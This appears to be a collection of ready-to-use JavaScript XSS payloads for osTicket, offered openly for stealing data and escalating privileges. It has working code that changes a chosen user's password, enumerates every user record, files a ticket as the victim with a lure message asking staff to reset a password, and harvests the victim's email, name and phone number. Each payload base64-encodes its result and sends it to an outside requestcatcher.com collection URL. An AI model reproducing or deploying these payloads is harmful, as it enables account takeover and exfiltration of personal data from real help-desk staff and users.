Here are a couple of prepared JavaScript payloads that can easily be used to steal sensitive information, escalate privileges, or move laterally through an osTicket instance. The data that is returned will be base64-encoded and stuck to the end of the EXFIL_URL
variable for each payload. These payloads can be sent to victims through any of the XSS vulnerabilities found in the Vulnerability Matrix in the README.md file.
These payloads require that an osTicket administrator open up & run your XSS payload:
- Add a new agent with admin privileges
These payloads require that an osTicket administrator or agent open & run your XSS payload:
- Change regular user password
- Note - a user ID has to be specified, not a username or email. To determine which user ID corresponds to a specific user identified by a username/email, see below.
- User ID 1 is the generic, default, useless guest account osTicket Support (
[email protected]
).
// fill these with your own data
let VICTIM_USER_ID = '2';
let EXFIL_URL = 'https://dfsafsdfasdf.requestcatcher.com/output?data='
let NEW_PASSWORD = 'newpassword' // must be at least 6 characters
// get CSRF token
let user_id_page = new DOMParser().parseFromString(await fetch("/scp/users.php?id="+VICTIM_USER_ID).then(response => response.text()),'text/html');
let csrf_token = user_id_page.getElementsByName('csrf_token')[0].content;
let email = user_id_page.getElementById('user-'+VICTIM_USER_ID+'-email').textContent;
// change password
let status_code = await fetch("/scp/ajax.php/users/"+VICTIM_USER_ID+"/manage", {
method: 'POST',
headers: {
'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8',
'X-CSRFToken': csrf_token
},
body: "passwd1="+NEW_PASSWORD+"&passwd2="+NEW_PASSWORD
}).then(response => response.status);
// send result
let data = '';
if (status_code == 201) {
data = "The password for user '"+email+"' ("+VICTIM_USER_ID+") was successfully changed to '"+NEW_PASSWORD+"'";
}
else {
data = "The password for user '"+email+"' ("+VICTIM_USER_ID+") was unsuccessfully changed to '"+NEW_PASSWORD+"', status code "+status_code;
}
await fetch(EXFIL_URL+btoa(data));
- Enumerate all users
// fill with your own data
let EXFIL_URL = 'https://dfsafsdfasdf.requestcatcher.com/output?data='
// get total number of users
let users = new DOMParser().parseFromString(await fetch("/scp/users.php?p=1").then(response => response.text()),'text/html').getElementsByClassName("faded")[0].textContent.split(" ").splice(-1)[0];
// loop through users
let user_data = "[";
async function loop_plz() {
for (let i = 0; i < users; i++) {
user_data += await fetch("/scp/ajax.php/users/"+(i+1)).then(response => response.text())+",";
}
}
await loop_plz();
user_data += "]"
// exfil data
await fetch(EXFIL_URL+btoa(user_data));
- Get user ID from email
- Get all tickets and ticket contents
These payloads require that anyone open up & run your XSS payload:
- Retrieve linked ticket numbers and ticket contents
- Submit ticket on behalf of user
- Note - this payload only works on versions < 1.14.7, 1.15.x < 1.15.3. A change was added to later versions that checks that the User Agent is the same for some requests; if it's not, the session is killed and the transaction fails. This check is in place for users creating tickets. Since we don't know the user agent used by the enduser, our POST request to
/open.php
fails.
- Note - this payload only works on versions < 1.14.7, 1.15.x < 1.15.3. A change was added to later versions that checks that the User Agent is the same for some requests; if it's not, the session is killed and the transaction fails. This check is in place for users creating tickets. Since we don't know the user agent used by the enduser, our POST request to
// fill with your own data
let EXFIL_URL = 'https://dfsafsdfasdf.requestcatcher.com/output?data=';
let TITLE = 'Please change password';
let MESSAGE = "Hello, my page gets stuck each time I try to reset my password, can you do it for me? I want my new password to be 'getrektfam'.";
let HELP_TOPIC = '11';
/*
Help Topic key:
- 2 - Feedback
- 1 - General Inquiry
- 10 - Report a Problem
- 11 - Report a Problem / Access Issue
*/
// get data to submit ticket
let page = new DOMParser().parseFromString(await fetch("/open.php").then(response => response.text()),'text/html');
let CSRF_TOKEN = page.getElementsByName('csrf_token')[0].content;
let EMAIL = page.getElementsByTagName("td")[2].innerHTML;
let page2 = new DOMParser().parseFromString(await fetch("/ajax.php/form/help-topic/"+HELP_TOPIC).then(response => response.text()),'text/html');
let HEADER_NAME = page2.getElementsByTagName("textarea")[0].name.substring(2,16);
let TEXT_NAME = page2.getElementsByTagName("input")[0].name.substring(2,16);
let BOUNDARY = '----WebKitFormBoundaryiV2Byrf2T5Z3NQvK';
// submit ticket
let body = `${BOUNDARY}\r\nContent-Disposition: form-data; name="__CSRFToken__"\r\n\r\n${CSRF_TOKEN}\r\n${BOUNDARY}\r\nContent-Disposition: form-data; name="a"\r\n\r\nopen\r\n${BOUNDARY}\r\nContent-Disposition: form-data; name="topicId"\r\n\r\n11\r\n${BOUNDARY}\r\nContent-Disposition: form-data; name="${HEADER_NAME}"\r\n\r\n${TITLE}\r\n${BOUNDARY}\r\nContent-Disposition: form-data; name="${TEXT_NAME}"\r\n\r\n${MESSAGE}\r\n${BOUNDARY}\r\nContent-Disposition: form-data; name="draft_id"\r\n\r\n\r\n${BOUNDARY}--`;
let status_code = await fetch("/open.php", {
method: 'POST',
headers: {
'Content-Type': 'multipart/form-data; boundary='+BOUNDARY
},
body: body
}).then(response => response.status);
// exfil
let data = '';
if (status_code == 302) {
data = "A ticket was successfully filed on behalf of user '"+EMAIL+"'.";
}
else {
data = "A ticket was unsuccessfully filed on behalf of user '"+EMAIL+"', status code "+status_code;
}
await fetch(EXFIL_URL+btoa(data));
- Exfiltrate email
// fill with your own data
let EXFIL_URL = 'https://dfsafsdfasdf.requestcatcher.com/output?data='
// get email
let page = new DOMParser().parseFromString(await fetch("/profile.php").then(response => response.text()),'text/html');
let email = page.querySelectorAll('input[type="email"]')[0].value;
let name = page.querySelectorAll('input[type="text"]')[0].value;
let number = page.querySelectorAll('input[type="tel"]')[0].value;
// exfil data
await fetch(EXFIL_URL+btoa("The email for the user '"+name+"' is '"+email+"', and the phone number is '"+number+"'."));